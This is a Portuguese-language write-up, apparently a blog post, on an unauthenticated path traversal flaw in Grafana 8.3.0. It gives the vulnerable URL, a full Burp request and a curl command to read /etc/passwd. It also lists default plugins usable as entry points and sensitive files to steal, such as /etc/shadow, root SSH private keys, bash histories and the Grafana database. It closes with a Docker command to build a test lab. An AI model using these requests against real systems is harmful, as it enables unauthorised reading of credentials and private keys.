BOOK THIS SPACE FOR AD
ARTICLE ADVersão 8.3.0
Exemplo: Capturando o arquivo
/etc/passwd
A Falha
A falha consiste em obter a leitura de arquivos locais sem a necessidade de credenciais válidas. É possível explorar a falha pelo BurpSuite , Curl ou
qualquer linguagem de preferência.
A URL vulnerável:
http://<IP_ALVO>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
No Burp
Enviamos essa requisição
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
sec-ch-ua: “(Not(A:Brand”;v=”8", “Chromium”;v=”101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
No Curl
Com a opção “ — path-as-is” podemos enviar via Curl a seguinte requisição
curl — path-as-is http://<IP_ALVO>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Lista dos Plugins Padrões
Esta falha explora esses plugins padrões do sistema
alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin
Arquivos Interessantes para Explorar
Alguns arquivos interessantes que é possível vizualizar com a falha
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
Criando um Ambiente de Testes
É possível recriar a falha em um ambiente de teste via Docker. Após ter feito as configurações iniciais do docker, basta seguir este comando
docker run — name=grafana -p 3000:3000 grafana/grafana-enterprise:8.3.0
Depois basta acessar http://localhost:3000 e explorar